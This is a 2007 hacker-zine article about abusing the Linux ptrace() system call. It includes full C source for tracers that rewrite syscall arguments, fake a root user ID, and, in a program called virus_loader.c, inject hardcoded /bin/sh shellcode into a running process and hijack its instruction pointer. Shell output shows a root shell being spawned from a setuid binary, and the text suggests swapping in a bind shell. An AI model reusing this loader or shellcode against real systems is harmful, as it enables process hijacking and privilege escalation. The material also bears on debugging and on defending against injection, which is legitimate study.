/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/
-[ INFOS ]-----------------------------------------------------------------------
Title: "ptrace(): A Linux Virus"
Author: Omni
Website: http://omni.netsons.org
E-Mail: omni [AT] playhack [dot] net
Date: 2007-12-09 (ISO 8601)
---------------------------------------------------------------------------------
-[ SUMMARY ]---------------------------------------------------------------------
0x00: Introduction
0x01: *Talk* about ptrace()
0x02: Have fun with ptrace()
0x03: Injecting codes
0x04: General Infos
0x05: Reference
0x06: Conclusion
---------------------------------------------------------------------------------
---[ 0x00: Introduction ]
Hi dudes!
I'm back with a new paper concerning the injection of *our codes*
in a process that is running on the local machine! (ELF)
After this "little introduction" (ahahah) I just wanna thanks the playhack.net
Staff and our *cool* bro str0ke (:P).
-----------------------------------------------------------------------------[/]
---[ 0x01: *Talk* about ptrace() ]
ptrace() is a system call that enables one process to *control* the execution of
another one.
The traced process (the child) behaves normally until it caughts a signal and when
this occur the process enter in STOPPED state and informs the tracing process
by a wait() system call. After this the tracing process (the parent) decides what the
traced process should do (responds). Take in mind that if the traced process
caughts a SIGKILL it will be killed!
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
The field 'request' is a value that determines the action that has to be performed.
Here below you will find some actions that you can specify in the ptrace() function:
- PTRACE_GETREGS
This copies the child's General Purpose or Floating-Point registers to location
data in the parent.
- PTRACE_SETREGS
This 'request' copies the child's GPR or Floating-Point registers from a location
in the parent. (also take a look at this request: PTRACE_POKEUSR).
- PTRACE_CONT
Restarts the stopped child process.
- PTRACE_KILL
Sends to the child process a SIGKILL (to terminate it)
- PTRACE_ATTACH
Attaches to the process identified by the field pid and make the process
traced as a child of the tracing process (current process).
As I said before the tracing process became the parent of the traced process
(child) and it will receive notifications from the child events but if a getppid
is called will return the PID of the original parent.
- PTRACE_DETACH
It restarts the stopped child and detaches the tracing process (child) from
the traced process (*parent*). If ptrace has interrupted a syscall that has
been called (but not executed) the kernel subtract 2 bytes (from EIP) after
PTRACE_DETACH.
If you wanna more informations about ptrace() please read the man pages.
(could be useful).
-----------------------------------------------------------------------------[/]
---[ 0x02: Have fun with ptrace() ]
Now it's time to *Having fun with ptrace()* function!!
In this section I'll try to explain how to (p)trace a process and intercepts
syscall (and modify its arguments). The best way to explain what we have to do
is to show to you a source code:
/* target1.c */
#include <stdio.h>
#include <unistd.h>
int main() {
char str[]="Hi\nSup Guys?\n";
write(0, str, strlen(str));
return 0;
}
/* end target1.c */
(.)Output:
$./target1
Hi
Sup Guys?
$
And here below you will find the tracer1.c code:
/* tracer1.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /path/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_write) { //Is our syscall number the SYS_write ??
regs.edx = 3; //set edx to 3 (MAX msg length -> more info here: man write(1) )
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer1.c */
(.)Output:
#./tracer1 /home/omni/target1
Hi
#
Ehy what's that? As you can see the output of tracer1 is *Hi\n* !
But why? Look at the tracer1.c source code; there is an "important" assignment:
[...]
regs.edx = 3;
[...]
We set the register edx to 3 (maximum length of "string" in our write() syscall).
Look in depth what the tracer1 do:
1. check if the syscall write() is called
2. read the CPU registers
3. set the register edx to 3
4. detach from the process traced
Eg:
write(0, -> stdout
"Hi\nSup Guys?\n, -> it will print only Hi\n (edx = 3)
3); -> modified by edx (edx = 3)
Do you get it? Simple right? ;)
Cool, now I just wanna try to explain an other interesting example; so look
at the source code of target2.c and tracer2.c !!!
/* target2.c */
#include <stdio.h>
#include <unistd.h>
int main() {
printf( "user id: %d\n", getuid() );
execl("/bin/csh", "csh", NULL, 0);
return 0;
}
/* end of target2.c */
(.) Output:
$ ./target2
user id: 1000
%id
uid=1000(omni) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)
And now.. tracer2.c :
/* tracer2.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /home/omni/articles/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_getuid32) {
regs.ebx = 0; //set ebx to 0 (root access)
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer2.c */
(.) Output:
# ./tracer2 /home/omni/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Killed!
#
If you read the source code you will find my comments and I thik (/hope) you
will understand; but for lazy people I'll explain the main functions.
[... in the child ...]
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
[....]
Just trace the process..
[... in the parent ...]
1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax;
3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;
5. ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
[....]
Here is a little bit more difficult but if you understand C this will not be a
problem ;)
1. Just *restart* the stopped child and read the syscall arguments
2. Read the the CPU registers
3/4. If the syscall is SYS_getuid32 set ebx to 0 and "gain" root access
5. Copy the child registers
And now the /bin/csh shell is *spawned* with root privilege!!
-----------------------------------------------------------------------------[/]
---[ 0x03: Injecting codes.. ]
Injecting codes in a (p)traced ELF is not so difficult; but if you wanna
understand easily how to do it you have to read carefully the code.
Here below we have simple.c (the traced process):
/* simple.c */
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[1024];
scanf("%s", buf);
printf("-> %s\n", buf);
}
/* end of simple.c */
$ gcc simple.c -o simple
# chmod u+s simple
(.) Output:
$ ./simple
Hi
-> Hi
$
Now it's time of our virus code: (:D)
/* virus_loader.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
// shellcode "grepped" from internet (make your own shellcode,
// eg a bind shell)
char virus_payload[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
//inject func prototype
int inject(pid_t pid, long memaddr, void *buf, int buflen);
int main(int argc, char *argv[]) {
pid_t pid; //pid of the ELF that we have to infect
struct user_regs_struct regs; //CPU registers
long address; //where we will put our virus payload
if (argc < 2) {
printf("usage: %s <ELF-pid>\n", argv[0]);
return -1;
}
pid = atoi(argv[1]);
//ATTACH to the pid
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror("ATTACH");
return -1;
}
// Wait the child.. (the *attached* ELF is the child)
int status = 0;
wait(&status);
printf("[+] %d ATTACHED\n", pid);
//get the CPU registers and put it in our
//struct regs
//We will use it soon..
if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) {
perror("GETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
//calculate the address were we have to PUT our
//virus payload (we will put it into ESP - 1024)
printf("[+] Calculating the address of our payload\n");
address = regs.esp - 1024;
printf("[+] Virus Payload at address: 0x%.8x\n", address);
//inject function is called.. (see below)
if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) < 0) {
return -1;
}
//EIP now *points* to our virus payload
regs.eip = address + 2;
printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip);
//It's time to set EIP and let its to point
//to our virus payload
if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) {
perror("SETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[+] Shell Spawned !!\n");
return 0;
}
// Injection Function
int inject(pid_t pid, long addr, void *virus, int len) {
long payload;
int i = 0;
//copy virus payload into *address* memory (esp - 1024)
while (i < len) {
memcpy(&payload, virus, 4);
//insert the payload into the memory
if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) {
perror("Inject()");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
addr += 4;
virus += 4;
i += 4;
}
return 0;
}
/* end of virus_loader.c */
Let's try it..
--- [ Shell 1 ] ---
$ ls -al simple
-rwsr-xr-x 1 root root 8148 2007-12-14 19:26 simple*
[suid bit ACTIVATED]
$ ./simple
sh-3.1# id
uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users)
sh-3.1#
--- [ Shell 2 ] ---
# ps -A | grep simple
4779 pts/3 00:00:00 simple
# ./virus_loader 4779
[+] 4779 ATTACHED
[+] Calculating the address of our payload
[+] Virus Payload at address: 0xbfb2fe08
[+] EIP points to virus payload at address: 0xbfb2fe0a
[+] Shell Spawned !!
#
Here is a simple example; you can also add your own shellcode (eg a bind shell)
and than give again the control back to the ELF.
-----------------------------------------------------------------------------[/]
---[ 0x04: General Infos ]
- Why is it useful to use ptrace? My opinion is simple; if you are root you can
(WITHOUT LKM) modify syscalls, inject your own codes in a running process and
much more.. ( eg control a process in runtime!! )
ptrace() is also used by debuggers for tracing syscall, set breakpoints, etc;
and this is a great things because you can do it in User Land.
- Is it possible to trace the same process twice?
No, it's not possible; because if you look here:
/usr/src/linux-***/arch/i386/kernel/ptrace.c
you will find:
if (!(current->ptrace & PT_PTRACED))
goto out; <- GOTO OUT!!!
-----------------------------------------------------------------------------[/]
---[ 0x05: Reference ]
[1] Man of ptrace()
[2] Building ptrace injecting shellcodes
(Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12)
-----------------------------------------------------------------------------[/]
---[ 0x06: Conclusion ]
This is the end of my own article and if you have some comments, questions
or whatever *mail me*! ;)
Please if you find some errors let me know and I will update it soon!
-----------------------------------------------------------------------------[/]
\======================================[EOF]=====================================/
# milw0rm.com [2007-12-18]